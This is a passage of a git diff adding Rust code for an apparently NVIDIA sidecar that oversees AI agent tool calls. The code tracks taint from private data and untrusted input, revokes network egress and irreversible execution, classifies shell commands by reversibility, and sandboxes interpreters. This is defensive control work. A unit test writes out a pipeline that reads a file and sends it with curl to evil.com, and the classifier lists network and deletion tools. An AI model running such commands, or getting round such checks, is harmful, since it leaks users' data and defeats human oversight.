!tool_uses.is_empty() { + let tc_list: Vec = tool_uses + .iter() + .map(|tu| { + let default_input = Value::Object(Map::new()); + let args = tu.get("input").unwrap_or(&default_input); + let args_str = if args.is_object() { + serde_json::to_string(args).unwrap_or_default() + } else { + args.to_string() + }; + json!({ + "id": tu.get("id").and_then(Value::as_str).unwrap_or_default(), + "type": "function", + "function": { + "name": tu.get("name").and_then(Value::as_str).unwrap_or_default(), + "arguments": args_str, + } + }) + }) + .collect(); + + let content_val = if text_parts.is_empty() { + Value::Null + } else { + Value::String(text_parts.join("\n")) + }; + result.push(json!({ + "role": "assistant", + "content": content_val, + "tool_calls": tc_list, + })); + } else if !text_parts.is_empty() { + result.push(json!({"role": "assistant", "content": text_parts.join("\n")})); + } else { + result.push(json!({"role": "assistant", "content": null})); + } + } + "user" => { + if !tool_results.is_empty() { + if !text_parts.is_empty() { + result.push(json!({"role": "user", "content": text_parts.join("\n")})); + } + for tr in tool_results { + let default_content = Value::String(String::new()); + let tr_content = tr.get("content").unwrap_or(&default_content); + let content_str = flatten_content(tr_content); + result.push(json!({ + "role": "tool", + "tool_call_id": tr.get("tool_use_id").and_then(Value::as_str).unwrap_or_default(), + "content": content_str, + })); + } + } else if !text_parts.is_empty() { + result.push(json!({"role": "user", "content": text_parts.join("\n")})); + } else { + result.push(json!({"role": "user", "content": ""})); + } + } + _ => { + let text = if text_parts.is_empty() { + String::new() + } else { + text_parts.join("\n") + }; + result.push(json!({"role": role, "content": text})); + } + } +} + +// ═══════════════════════════════════════════════════════════════════════════ +// Responses API (OpenAI) +// ═══════════════════════════════════════════════════════════════════════════ + +fn responses_normalize_input(data: &Value) -> Vec { + let raw = data.get("input"); + match raw { + Some(Value::String(s)) => vec![json!({"role": "user", "content": s})], + Some(Value::Array(items)) => convert_responses_items(items), + _ => Vec::new(), + } +} + +fn responses_inject_hint(data: &mut Value, hint_text: &str) { + let Some(obj) = data.as_object_mut() else { + return; + }; + let existing = obj + .get("instructions") + .and_then(Value::as_str) + .unwrap_or_default() + .to_string(); + let combined = if existing.is_empty() { + hint_text.to_string() + } else { + format!("{hint_text}\n\n{existing}") + }; + obj.insert("instructions".into(), Value::String(combined)); +} + +fn responses_extract_tool_calls(response: &Value) -> Vec { + let Some(output) = response.get("output").and_then(Value::as_array) else { + return Vec::new(); + }; + extract_from_responses_output(output) +} + +fn convert_responses_items(items: &[Value]) -> Vec { + let mut messages = Vec::new(); + let mut call_id_to_name: HashMap = HashMap::new(); + let mut pending_tool_calls: Vec = Vec::new(); + + let flush = |pending: &mut Vec, msgs: &mut Vec| { + if !pending.is_empty() { + msgs.push(json!({"role": "assistant", "tool_calls": pending.clone()})); + pending.clear(); + } + }; + + for item in items { + let item_type = item.get("type").and_then(Value::as_str).unwrap_or_default(); + + match item_type { + "message" => { + flush(&mut pending_tool_calls, &mut messages); + let content = + flatten_content(item.get("content").unwrap_or(&Value::String(String::new()))); + let role = item.get("role").and_then(Value::as_str).unwrap_or("user"); + messages.push(json!({"role": role, "content": content})); + } + "function_call" => { + let name = item + .get("name") + .and_then(Value::as_str) + .unwrap_or_default() + .to_string(); + let call_id = item + .get("call_id") + .and_then(Value::as_str) + .unwrap_or_default() + .to_string(); + let arguments = item + .get("arguments") + .and_then(Value::as_str) + .unwrap_or("{}") + .to_string(); + call_id_to_name.insert(call_id.clone(), name.clone()); + pending_tool_calls.push(json!({ + "id": call_id, + "type": "function", + "function": {"name": name, "arguments": arguments}, + })); + } + "function_call_output" => { + flush(&mut pending_tool_calls, &mut messages); + let call_id = item + .get("call_id") + .and_then(Value::as_str) + .unwrap_or_default() + .to_string(); + let name = call_id_to_name.get(&call_id).cloned().unwrap_or_default(); + messages.push(json!({ + "role": "tool", + "tool_call_id": call_id, + "name": name, + "content": item.get("output").and_then(Value::as_str).unwrap_or_default(), + })); + } + "item_reference" => {} + _ => { + warn!(item_type = item_type, "unknown_responses_item_type"); + } + } + } + + flush(&mut pending_tool_calls, &mut messages); + messages +} + +// ═══════════════════════════════════════════════════════════════════════════ +// Shared helpers +// ═══════════════════════════════════════════════════════════════════════════ + +fn parse_arguments(raw: &Value) -> Map { + match raw { + Value::Object(m) => m.clone(), + Value::String(s) => { + if let Ok(Value::Object(m)) = serde_json::from_str(s) { + m + } else { + let mut map = Map::new(); + map.insert("_raw".into(), Value::String(s.clone())); + map + } + } + _ => Map::new(), + } +} + +fn flatten_content(content: &Value) -> String { + match content { + Value::String(s) => s.clone(), + Value::Array(arr) => { + let parts: Vec = arr + .iter() + .filter_map(|block| { + block.as_object().map_or_else( + || block.as_str().map(String::from), + |obj| { + obj.get("text") + .and_then(Value::as_str) + .filter(|t| !t.is_empty()) + .map(String::from) + }, + ) + }) + .collect(); + parts.join("\n") + } + _ => content.to_string(), + } +} + +fn extract_from_chat_choices(choices: &[Value]) -> Vec { + let Some(first) = choices.first() else { + return Vec::new(); + }; + let message = first.get("message").unwrap_or(first); + let raw_calls = match message.get("tool_calls").and_then(Value::as_array) { + Some(c) if !c.is_empty() => c, + _ => return Vec::new(), + }; + + raw_calls + .iter() + .map(|tc| { + let func = tc.get("function").unwrap_or(tc); + ToolCall { + id: tc + .get("id") + .and_then(Value::as_str) + .unwrap_or_default() + .into(), + name: func + .get("name") + .and_then(Value::as_str) + .unwrap_or_default() + .into(), + arguments: parse_arguments(func.get("arguments").unwrap_or(&EMPTY_ARGS_STR)), + } + }) + .collect() +} + +fn extract_from_responses_output(output: &[Value]) -> Vec { + output + .iter() + .filter(|item| item.get("type").and_then(Value::as_str) == Some("function_call")) + .map(|item| { + let id = item + .get("call_id") + .or_else(|| item.get("id")) + .and_then(Value::as_str) + .unwrap_or_default() + .into(); + ToolCall { + id, + name: item + .get("name") + .and_then(Value::as_str) + .unwrap_or_default() + .into(), + arguments: parse_arguments(item.get("arguments").unwrap_or(&EMPTY_ARGS_STR)), + } + }) + .collect() +} diff --git a/traits/capability-ratchet/src/policy.rs b/traits/capability-ratchet/src/policy.rs new file mode 100644 index 0000000..f3ff59a --- /dev/null +++ b/traits/capability-ratchet/src/policy.rs @@ -0,0 +1,302 @@ +// SPDX-FileCopyrightText: Copyright (c) 2025-2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. +// SPDX-License-Identifier: Apache-2.0 + +//! Policy configuration for Capability Ratchet. +//! +//! Resolution order for a command: +//! 1. `tools["cmd subcmd"]` → match (taint + requires from config) +//! 2. `tools["cmd"]` → base tool fallback +//! 3. `knownSafe` → no taint, no requires +//! 4. unknown → both taint flags (fail closed) + +use std::collections::{BTreeSet, HashMap, HashSet}; +use std::path::Path; + +use serde_json::Value; +use tracing::warn; +use url::Url; + +use crate::error::SidecarError; +use crate::known_safe::BUILTIN_KNOWN_SAFE; +use crate::types::{Capability, TaintFlag, ToolLookupResult}; + +// --------------------------------------------------------------------------- +// Types +// --------------------------------------------------------------------------- + +/// A single tool entry from the policy YAML. +#[derive(Debug, Clone)] +pub struct ToolEntry { + pub taint: BTreeSet, + pub requires: BTreeSet, +} + +/// Parsed policy configuration. +#[derive(Debug, Clone)] +pub struct Policy { + pub version: String, + pub name: String, + pub tools: HashMap, + pub known_safe: HashSet, + pub approved_endpoints: Vec, +} + +fn all_taint() -> BTreeSet { + [TaintFlag::HasPrivateData, TaintFlag::HasUntrustedInput] + .into_iter() + .collect() +} + +impl Policy { + /// 4-step resolution: `tools[cmd subcmd]` → `tools[cmd]` → `known_safe` → unknown. + pub fn resolve(&self, cmd: &str, subcmd: Option<&str>) -> ToolLookupResult { + // 1. Try "cmd subcmd" in tools dict + if let Some(sub) = subcmd { + let full = format!("{cmd} {sub}"); + if let Some(entry) = self.tools.get(&full) { + return ToolLookupResult { + taint: entry.taint.clone(), + source: "tools".into(), + requires: entry.requires.clone(), + }; + } + } + + // 2. Try "cmd" in tools dict + if let Some(entry) = self.tools.get(cmd) { + return ToolLookupResult { + taint: entry.taint.clone(), + source: "tools".into(), + requires: entry.requires.clone(), + }; + } + + // 3. Try known_safe (both "cmd subcmd" and "cmd") + if let Some(sub) = subcmd { + let full = format!("{cmd} {sub}"); + if self.known_safe.contains(&full) { + return ToolLookupResult { + taint: BTreeSet::new(), + source: "known_safe".into(), + requires: BTreeSet::new(), + }; + } + } + if self.known_safe.contains(cmd) { + return ToolLookupResult { + taint: BTreeSet::new(), + source: "known_safe".into(), + requires: BTreeSet::new(), + }; + } + + // 4. Unknown → fail closed + warn!(cmd = cmd, subcmd = subcmd, "unknown_command"); + ToolLookupResult { + taint: all_taint(), + source: "unknown".into(), + requires: BTreeSet::new(), + } + } + + /// Check URL or hostname against approved endpoint patterns. + pub fn is_endpoint_approved(&self, url_or_host: &str) -> bool { + let hostname = extract_hostname(url_or_host); + for pattern in &self.approved_endpoints { + let pattern_host = extract_hostname(pattern); + if glob_match::glob_match(&pattern_host, &hostname) { + return true; + } + } + false + } + + /// Load a policy from a YAML file. + /// + /// # Errors + /// + /// Returns `SidecarError` if the file cannot be read or the YAML is invalid. + pub fn from_yaml(path: &Path) -> Result { + let content = std::fs::read_to_string(path) + .map_err(|e| SidecarError::Config(format!("cannot read {}: {e}", path.display())))?; + let data: Value = serde_yaml::from_str(&content)?; + Self::from_value(&data) + } + + /// Build a Policy from a `serde_json::Value`. + /// + /// # Errors + /// + /// Returns `SidecarError` if the policy data is invalid. + pub fn from_value(data: &Value) -> Result { + validate_policy(data)?; + + let version = data + .get("version") + .and_then(|v| { + v.as_str() + .map(String::from) + .or_else(|| v.as_f64().map(|n| n.to_string())) + }) + .unwrap_or_else(|| "2.0".into()); + + let name = data + .get("name") + .and_then(Value::as_str) + .unwrap_or("unnamed") + .to_string(); + + // Parse tools + let mut tools = HashMap::new(); + if let Some(tools_map) = data.get("tools").and_then(Value::as_object) { + for (key, entry) in tools_map { + let taint_values = entry + .get("taint") + .and_then(Value::as_array) + .cloned() + .unwrap_or_default(); + let mut taint = BTreeSet::new(); + for v in &taint_values { + if let Some(s) = v.as_str() { + let flag: TaintFlag = serde_json::from_value(Value::String(s.into())) + .map_err(|e| { + SidecarError::PolicyValidation(format!( + "invalid taint '{s}' in tool '{key}': {e}" + )) + })?; + taint.insert(flag); + } + } + + let requires_values = entry + .get("requires") + .and_then(Value::as_array) + .cloned() + .unwrap_or_default(); + let mut requires = BTreeSet::new(); + for v in &requires_values { + if let Some(s) = v.as_str() { + let cap: Capability = serde_json::from_value(Value::String(s.into())) + .map_err(|e| { + SidecarError::PolicyValidation(format!( + "invalid capability '{s}' in tool '{key}': {e}" + )) + })?; + requires.insert(cap); + } + } + + tools.insert(key.clone(), ToolEntry { taint, requires }); + } + } + + // Union YAML knownSafe with builtins + let mut known_safe: HashSet = BUILTIN_KNOWN_SAFE + .iter() + .map(|s| (*s).to_string()) + .collect(); + if let Some(yaml_safe) = data.get("knownSafe").and_then(Value::as_array) { + for v in yaml_safe { + if let Some(s) = v.as_str() { + known_safe.insert(s.to_string()); + } + } + } + + // Approved endpoints + let approved_endpoints = data + .get("approvedEndpoints") + .and_then(Value::as_array) + .map(|arr| { + arr.iter() + .filter_map(|v| v.as_str().map(String::from)) + .collect() + }) + .unwrap_or_default(); + + Ok(Self { + version, + name, + tools, + known_safe, + approved_endpoints, + }) + } +} + +// --------------------------------------------------------------------------- +// Validation +// --------------------------------------------------------------------------- + +const KNOWN_TOP_LEVEL_KEYS: &[&str] = + &["version", "name", "tools", "knownSafe", "approvedEndpoints"]; + +fn validate_policy(data: &Value) -> Result<(), SidecarError> { + if let Some(obj) = data.as_object() { + let unknown: Vec<&String> = obj + .keys() + .filter(|k| !KNOWN_TOP_LEVEL_KEYS.contains(&k.as_str())) + .collect(); + if !unknown.is_empty() { + warn!(keys = ?unknown, "unknown_policy_keys"); + } + + // tools must be a mapping + if let Some(tools) = obj.get("tools") { + if !tools.is_object() && !tools.is_null() { + return Err(SidecarError::PolicyValidation( + "'tools' must be a mapping".into(), + )); + } + if let Some(tools_map) = tools.as_object() { + for (key, entry) in tools_map { + if !entry.is_object() { + return Err(SidecarError::PolicyValidation(format!( + "tool entry '{key}' must be a mapping" + ))); + } + } + } + } + + // knownSafe must be a list + if let Some(ks) = obj.get("knownSafe") + && !ks.is_array() + && !ks.is_null() + { + return Err(SidecarError::PolicyValidation( + "'knownSafe' must be a list".into(), + )); + } + + // approvedEndpoints must be a list + if let Some(ep) = obj.get("approvedEndpoints") + && !ep.is_array() + && !ep.is_null() + { + return Err(SidecarError::PolicyValidation( + "'approvedEndpoints' must be a list".into(), + )); + } + } + Ok(()) +} + +// --------------------------------------------------------------------------- +// Helpers +// --------------------------------------------------------------------------- + +fn extract_hostname(url_or_host: &str) -> String { + if url_or_host.contains("://") { + Url::parse(url_or_host) + .ok() + .and_then(|u| u.host_str().map(String::from)) + .unwrap_or_else(|| url_or_host.to_string()) + } else { + url_or_host + .split('/') + .next() + .unwrap_or(url_or_host) + .to_string() + } +} diff --git a/traits/capability-ratchet/src/proxy.rs b/traits/capability-ratchet/src/proxy.rs new file mode 100644 index 0000000..dcdc083 --- /dev/null +++ b/traits/capability-ratchet/src/proxy.rs @@ -0,0 +1,76 @@ +// SPDX-FileCopyrightText: Copyright (c) 2025-2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. +// SPDX-License-Identifier: Apache-2.0 + +//! Upstream backend forwarding. +//! +//! Forwards inference requests to the real backend, buffering the full +//! response for post-call inspection. + +use serde_json::Value; + +use crate::config::BackendConfig; +use crate::error::SidecarError; + +/// Forward an inference request to the real backend. +/// +/// When `force_non_streaming` is true, the request is sent with `stream: false` +/// regardless of the original value. This is needed for tainted requests where +/// the sidecar must inspect the full response before returning it. +/// +/// # Errors +/// +/// Returns `SidecarError` if the HTTP request fails or the backend returns a non-success status. +/// +/// # Panics +/// +/// Panics if `request_data` is not a JSON object. +pub async fn forward_to_backend( + request_data: &Value, + config: &BackendConfig, + http_client: &reqwest::Client, + force_non_streaming: bool, +) -> Result { + let mut data = request_data.clone(); + + // Only force non-streaming when the caller requires full-response analysis + // (i.e., tainted requests). Non-tainted requests pass through unchanged. + if force_non_streaming { + data.as_object_mut() + .unwrap() + .insert("stream".into(), Value::Bool(false)); + } + + // Apply model override if configured + if let Some(ref model) = config.model { + data.as_object_mut() + .unwrap() + .insert("model".into(), Value::String(model.clone())); + } + + // Build URL — append /chat/completions if not already present + let mut url = config.url.trim_end_matches('/').to_string(); + if !url.ends_with("/chat/completions") { + url.push_str("/chat/completions"); + } + + let mut req = http_client + .post(&url) + .header("Content-Type", "application/json") + .json(&data); + + if !config.api_key.is_empty() { + req = req.header("Authorization", format!("Bearer {}", config.api_key)); + } + + let response = req.send().await?; + let status = response.status(); + if !status.is_success() { + let body = response.text().await.unwrap_or_default(); + return Err(SidecarError::Config(format!( + "Backend returned {status}: {body}" + ))); + } + + let result: Value = response.json().await?; + Ok(result) +} diff --git a/traits/capability-ratchet/src/reversibility.rs b/traits/capability-ratchet/src/reversibility.rs new file mode 100644 index 0000000..cae92cb --- /dev/null +++ b/traits/capability-ratchet/src/reversibility.rs @@ -0,0 +1,522 @@ +// SPDX-FileCopyrightText: Copyright (c) 2025-2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. +// SPDX-License-Identifier: Apache-2.0 + +//! AST-based command reversibility classification. +//! +//! Classifies parsed bash AST nodes into reversible, irreversible, or unknown. +//! Pipelines and command lists return worst-case across children. + +use std::collections::HashSet; +use std::path::Path; + +use serde_json::Value; + +use crate::types::Reversibility; + +// --------------------------------------------------------------------------- +// Severity ordering (higher = worse) +// --------------------------------------------------------------------------- + +const fn severity(r: Reversibility) -> u8 { + match r { + Reversibility::Reversible => 0, + Reversibility::Unknown => 1, + Reversibility::Irreversible => 2, + } +} + +const fn _worst(a: Reversibility, b: Reversibility) -> Reversibility { + if severity(a) >= severity(b) { a } else { b } +} + +// --------------------------------------------------------------------------- +// Command classification tables +// --------------------------------------------------------------------------- + +static IRREVERSIBLE_CMDS: std::sync::LazyLock> = std::sync::LazyLock::new(|| { + [ + "rm", "shred", "unlink", "curl", "wget", "nc", "ssh", "scp", "rsync", "ftp", "telnet", + ] + .into_iter() + .collect() +}); + +static REVERSIBLE_CMDS: std::sync::LazyLock> = std::sync::LazyLock::new(|| { + [ + "mv", "cp", "mkdir", "touch", "ln", "chmod", "chown", "cat", "head", "tail", "less", + "more", "echo", "printf", "ls", "pwd", "wc", "sort", "uniq", "tee", "tr", "cut", "date", + "whoami", "hostname", "uname", "env", "printenv", "true", "false", "test", + ] + .into_iter() + .collect() +}); + +static GIT_REVERSIBLE: std::sync::LazyLock> = std::sync::LazyLock::new(|| { + [ + "add", "commit", "checkout", "branch", "merge", "rebase", "stash", "fetch", "pull", + "status", "log", "diff", "show", "tag", + ] + .into_iter() + .collect() +}); + +static KUBECTL_REVERSIBLE: std::sync::LazyLock> = std::sync::LazyLock::new(|| { + ["apply", "create", "get", "describe", "logs"] + .into_iter() + .collect() +}); + +static DOCKER_IRREVERSIBLE: std::sync::LazyLock> = + std::sync::LazyLock::new(|| ["rm", "rmi", "prune"].into_iter().collect()); + +static DOCKER_REVERSIBLE: std::sync::LazyLock> = std::sync::LazyLock::new(|| { + ["run", "build", "ps", "images", "logs", "start", "stop"] + .into_iter() + .collect() +}); + +static PKG_PUBLISH: std::sync::LazyLock> = + std::sync::LazyLock::new(|| ["npm", "cargo"].into_iter().collect()); + +static DESTRUCTIVE_SQL: std::sync::LazyLock> = + std::sync::LazyLock::new(|| ["drop", "delete", "truncate"].into_iter().collect()); + +static SAFE_SQL: std::sync::LazyLock> = + std::sync::LazyLock::new(|| ["select", "show"].into_iter().collect()); + +static INTERPRETER_NETWORK: std::sync::LazyLock> = std::sync::LazyLock::new(|| { + ["requests", "urllib", "httplib", "socket", "http.client"] + .into_iter() + .collect() +}); + +static INTERPRETER_DESTRUCTIVE: std::sync::LazyLock> = + std::sync::LazyLock::new(|| { + ["os.remove", "os.unlink", "shutil.rmtree"] + .into_iter() + .collect() + }); + +// --------------------------------------------------------------------------- +// Internal dispatch +// --------------------------------------------------------------------------- + +fn strip_path(cmd: &str) -> &str { + Path::new(cmd) + .file_name() + .and_then(|n| n.to_str()) + .unwrap_or(cmd) +} + +fn get_words(node: &Value) -> Vec { + node.get("words") + .and_then(Value::as_array) + .map(|arr| { + arr.iter() + .map(|w| w.as_str().unwrap_or_default().to_string()) + .collect() + }) + .unwrap_or_default() +} + +fn classify_simple(node: &Value) -> (Reversibility, String) { + let words = get_words(node); + if words.is_empty() { + return (Reversibility::Reversible, "empty command".into()); + } + + let cmd = strip_path(&words[0]); + + if cmd.starts_with('$') { + return (Reversibility::Unknown, format!("variable command: {cmd}")); + } + if IRREVERSIBLE_CMDS.contains(cmd) { + return ( + Reversibility::Irreversible, + format!("{cmd} is irreversible"), + ); + } + if REVERSIBLE_CMDS.contains(cmd) { + return (Reversibility::Reversible, format!("{cmd} is reversible")); + } + + match cmd { + "git" => classify_git(&words[1..]), + "kubectl" => classify_kubectl(&words[1..]), + "docker" => classify_docker(&words[1..]), + "mysql" | "psql" => classify_database(cmd, &words[1..]), + "pip" => classify_pip(&words[1..]), + "python" | "python3" | "node" => classify_interpreter(cmd, &words[1..]), + "grep" => (Reversibility::Unknown, "grep is unknown".into()), + _ => { + if PKG_PUBLISH.contains(cmd) { + classify_package_manager(cmd, &words[1..]) + } else { + ( + Reversibility::Unknown, + format!("unrecognized command: {cmd}"), + ) + } + } + } +} + +fn classify_git(args: &[String]) -> (Reversibility, String) { + if args.is_empty() { + return (Reversibility::Reversible, "bare git is reversible".into()); + } + let subcmd = &args[0]; + + if subcmd == "push" { + let force_flags: HashSet<&str> = ["--force", "-f", "--force-with-lease"] + .into_iter() + .collect(); + let arg_strs: HashSet<&str> = args[1..].iter().map(String::as_str).collect(); + let matched: Vec<&&str> = force_flags.intersection(&arg_strs).collect(); + if !matched.is_empty() { + return ( + Reversibility::Irreversible, + format!("git push with {}", matched[0]), + ); + } + return (Reversibility::Reversible, "git push (no force)".into()); + } + if subcmd == "reset" && args[1..].iter().any(|a| a == "--hard") { + return (Reversibility::Irreversible, "git reset --hard".into()); + } + if subcmd == "clean" && args[1..].iter().any(|a| a == "-f") { + return (Reversibility::Irreversible, "git clean -f".into()); + } + if GIT_REVERSIBLE.contains(subcmd.as_str()) { + return ( + Reversibility::Reversible, + format!("git {subcmd} is reversible"), + ); + } + ( + Reversibility::Unknown, + format!("unrecognized git subcommand: {subcmd}"), + ) +} + +fn classify_kubectl(args: &[String]) -> (Reversibility, String) { + if args.is_empty() { + return (Reversibility::Unknown, "bare kubectl".into()); + } + let subcmd = &args[0]; + if subcmd == "delete" { + return ( + Reversibility::Irreversible, + "kubectl delete is irreversible".into(), + ); + } + if KUBECTL_REVERSIBLE.contains(subcmd.as_str()) { + return ( + Reversibility::Reversible, + format!("kubectl {subcmd} is reversible"), + ); + } + ( + Reversibility::Unknown, + format!("unrecognized kubectl subcommand: {subcmd}"), + ) +} + +fn classify_docker(args: &[String]) -> (Reversibility, String) { + if args.is_empty() { + return (Reversibility::Unknown, "bare docker".into()); + } + let subcmd = &args[0]; + if DOCKER_IRREVERSIBLE.contains(subcmd.as_str()) { + return ( + Reversibility::Irreversible, + format!("docker {subcmd} is irreversible"), + ); + } + if DOCKER_REVERSIBLE.contains(subcmd.as_str()) { + return ( + Reversibility::Reversible, + format!("docker {subcmd} is reversible"), + ); + } + ( + Reversibility::Unknown, + format!("unrecognized docker subcommand: {subcmd}"), + ) +} + +fn classify_database(cmd: &str, args: &[String]) -> (Reversibility, String) { + let sql = extract_sql(args); + match sql { + None => (Reversibility::Unknown, format!("interactive {cmd} session")), + Some(s) => { + let lower = s.to_lowercase(); + for kw in DESTRUCTIVE_SQL.iter() { + if lower.contains(kw) { + return ( + Reversibility::Irreversible, + format!("{cmd} with {}", kw.to_uppercase()), + ); + } + } + for kw in SAFE_SQL.iter() { + if lower.contains(kw) { + return ( + Reversibility::Reversible, + format!("{cmd} with {}", kw.to_uppercase()), + ); + } + } + ( + Reversibility::Unknown, + format!("{cmd} with unrecognized SQL"), + ) + } + } +} + +fn extract_sql(args: &[String]) -> Option<&str> { + for (i, arg) in args.iter().enumerate() { + if (arg == "-e" || arg == "-c") && i + 1 < args.len() { + return Some(&args[i + 1]); + } + } + None +} + +fn classify_package_manager(cmd: &str, args: &[String]) -> (Reversibility, String) { + if args.is_empty() { + return (Reversibility::Unknown, format!("bare {cmd}")); + } + let subcmd = &args[0]; + if subcmd == "publish" { + return ( + Reversibility::Irreversible, + format!("{cmd} publish is irreversible"), + ); + } + if subcmd == "install" { + return ( + Reversibility::Reversible, + format!("{cmd} install is reversible"), + ); + } + ( + Reversibility::Unknown, + format!("unrecognized {cmd} subcommand: {subcmd}"), + ) +} + +fn classify_pip(args: &[String]) -> (Reversibility, String) { + if args.is_empty() { + return (Reversibility::Unknown, "bare pip".into()); + } + if args[0] == "install" { + return ( + Reversibility::Reversible, + "pip install is reversible".into(), + ); + } + ( + Reversibility::Unknown, + format!("unrecognized pip subcommand: {}", args[0]), + ) +} + +fn classify_interpreter(cmd: &str, args: &[String]) -> (Reversibility, String) { + if args.is_empty() { + return (Reversibility::Unknown, format!("bare {cmd}")); + } + + if args[0] == "-c" && args.len() > 1 { + let code = &args[1]; + let code_lower = code.to_lowercase(); + + for indicator in INTERPRETER_NETWORK.iter() { + if code_lower.contains(indicator) { + return ( + Reversibility::Irreversible, + format!("{cmd} -c with network code ({indicator})"), + ); + } + } + for indicator in INTERPRETER_DESTRUCTIVE.iter() { + if code_lower.contains(indicator) { + return ( + Reversibility::Irreversible, + format!("{cmd} -c with destructive code ({indicator})"), + ); + } + } + return ( + Reversibility::Unknown, + format!("{cmd} -c with unrecognized code"), + ); + } + + if args[0] == "-e" && args.len() > 1 { + let code_lower = args[1].to_lowercase(); + for indicator in INTERPRETER_NETWORK.iter() { + if code_lower.contains(indicator) { + return ( + Reversibility::Irreversible, + format!("{cmd} -e with network code ({indicator})"), + ); + } + } + return ( + Reversibility::Unknown, + format!("{cmd} -e with unrecognized code"), + ); + } + + (Reversibility::Unknown, format!("{cmd} running script file")) +} + +fn classify_pipeline(node: &Value) -> (Reversibility, String) { + let commands = node + .get("commands") + .and_then(Value::as_array) + .cloned() + .unwrap_or_default(); + if commands.is_empty() { + return (Reversibility::Reversible, "empty pipeline".into()); + } + + let mut result = Reversibility::Reversible; + let mut worst_reason = "empty pipeline".to_string(); + for child in &commands { + let (child_rev, child_reason) = classify_node(child); + if severity(child_rev) > severity(result) { + result = child_rev; + worst_reason = child_reason; + } + } + (result, worst_reason) +} + +fn classify_list(node: &Value) -> (Reversibility, String) { + let commands = node + .get("commands") + .and_then(Value::as_array) + .cloned() + .unwrap_or_default(); + if commands.is_empty() { + return (Reversibility::Reversible, "empty command list".into()); + } + + let mut result = Reversibility::Reversible; + let mut worst_reason = "empty command list".to_string(); + for child in &commands { + let (child_rev, child_reason) = classify_node(child); + if severity(child_rev) > severity(result) { + result = child_rev; + worst_reason = child_reason; + } + } + (result, worst_reason) +} + +fn classify_node(node: &Value) -> (Reversibility, String) { + let node_type = node.get("type").and_then(Value::as_str).unwrap_or_default(); + + match node_type { + "simple_command" => classify_simple(node), + "pipeline" => classify_pipeline(node), + "command_list" | "list" => classify_list(node), + "for" | "while" | "until" | "if" | "case" => ( + Reversibility::Unknown, + format!("complex construct: {node_type}"), + ), + _ => ( + Reversibility::Unknown, + format!("unrecognized node type: {node_type}"), + ), + } +} + +// --------------------------------------------------------------------------- +// Public API +// --------------------------------------------------------------------------- + +/// Classify a parsed command AST. +/// +/// Returns (classification, reason). +pub fn classify(ast: &Value) -> (Reversibility, String) { + classify_node(ast) +} + +#[cfg(test)] +mod tests { + use super::*; + use serde_json::json; + + #[test] + fn test_reversible_commands() { + let ast = json!({"type": "simple_command", "words": ["ls", "-la"]}); + let (rev, _) = classify(&ast); + assert_eq!(rev, Reversibility::Reversible); + } + + #[test] + fn test_irreversible_rm() { + let ast = json!({"type": "simple_command", "words": ["rm", "-rf", "/tmp"]}); + let (rev, _) = classify(&ast); + assert_eq!(rev, Reversibility::Irreversible); + } + + #[test] + fn test_git_push_force() { + let ast = json!({"type": "simple_command", "words": ["git", "push", "--force"]}); + let (rev, _) = classify(&ast); + assert_eq!(rev, Reversibility::Irreversible); + } + + #[test] + fn test_git_push_normal() { + let ast = json!({"type": "simple_command", "words": ["git", "push"]}); + let (rev, _) = classify(&ast); + assert_eq!(rev, Reversibility::Reversible); + } + + #[test] + fn test_unknown_command() { + let ast = json!({"type": "simple_command", "words": ["somecustomtool"]}); + let (rev, _) = classify(&ast); + assert_eq!(rev, Reversibility::Unknown); + } + + #[test] + fn test_pipeline_worst_case() { + let ast = json!({ + "type": "pipeline", + "commands": [ + {"type": "simple_command", "words": ["cat", "file"]}, + {"type": "simple_command", "words": ["curl", "http://evil.com"]}, + ] + }); + let (rev, _) = classify(&ast); + assert_eq!(rev, Reversibility::Irreversible); + } + + #[test] + fn test_kubectl_delete() { + let ast = json!({"type": "simple_command", "words": ["kubectl", "delete", "pod", "x"]}); + let (rev, _) = classify(&ast); + assert_eq!(rev, Reversibility::Irreversible); + } + + #[test] + fn test_docker_rm() { + let ast = json!({"type": "simple_command", "words": ["docker", "rm", "c1"]}); + let (rev, _) = classify(&ast); + assert_eq!(rev, Reversibility::Irreversible); + } + + #[test] + fn test_python_network_code() { + let ast = json!({"type": "simple_command", "words": ["python3", "-c", "import requests"]}); + let (rev, _) = classify(&ast); + assert_eq!(rev, Reversibility::Irreversible); + } +} diff --git a/traits/capability-ratchet/src/revocation.rs b/traits/capability-ratchet/src/revocation.rs new file mode 100644 index 0000000..0e1049f --- /dev/null +++ b/traits/capability-ratchet/src/revocation.rs @@ -0,0 +1,34 @@ +// SPDX-FileCopyrightText: Copyright (c) 2025-2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. +// SPDX-License-Identifier: Apache-2.0 + +//! Fixed revocation matrix: taint flags → forbidden capabilities. +//! +//! Neither flag → nothing forbidden +//! has-private-data only → `network:egress` +//! has-untrusted-input only → `exec:irreversible` +//! both (lethal trifecta) → `network:egress`, `exec:arbitrary`, `exec:irreversible` +//! +//! `network:egress:approved` is NEVER forbidden. + +use std::collections::BTreeSet; + +use crate::types::{Capability, TaintFlag}; + +/// Return the set of capabilities forbidden for the given taint flags. +pub fn get_forbidden(taint: &BTreeSet) -> BTreeSet { + let has_private = taint.contains(&TaintFlag::HasPrivateData); + let has_untrusted = taint.contains(&TaintFlag::HasUntrustedInput); + + match (has_private, has_untrusted) { + (false, false) => BTreeSet::new(), + (true, false) => std::iter::once(Capability::NetworkEgress).collect(), + (false, true) => std::iter::once(Capability::ExecIrreversible).collect(), + (true, true) => [ + Capability::NetworkEgress, + Capability::ExecArbitrary, + Capability::ExecIrreversible, + ] + .into_iter() + .collect(), + } +} diff --git a/traits/capability-ratchet/src/sandbox.rs b/traits/capability-ratchet/src/sandbox.rs new file mode 100644 index 0000000..564d4bf --- /dev/null +++ b/traits/capability-ratchet/src/sandbox.rs @@ -0,0 +1,142 @@ +// SPDX-FileCopyrightText: Copyright (c) 2025-2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. +// SPDX-License-Identifier: Apache-2.0 + +//! OS-level sandbox for network-denied interpreter execution. +//! +//! When both taint flags are set and a tool call involves an interpreter, +//! instead of blocking outright, we wrap the command in a network-denied sandbox. +//! +//! Linux: `unshare --net` +//! macOS: `sandbox-exec -p '(version 1)(allow default)(deny network*)'` + +use serde_json::{Value, json}; + +use crate::bash_ast::BashAstClient; +use crate::error::SidecarError; + +/// macOS sandbox profile string. +const MACOS_SANDBOX_PROFILE: &str = "(version 1)(allow default)(deny network*)"; + +/// AST word flag for 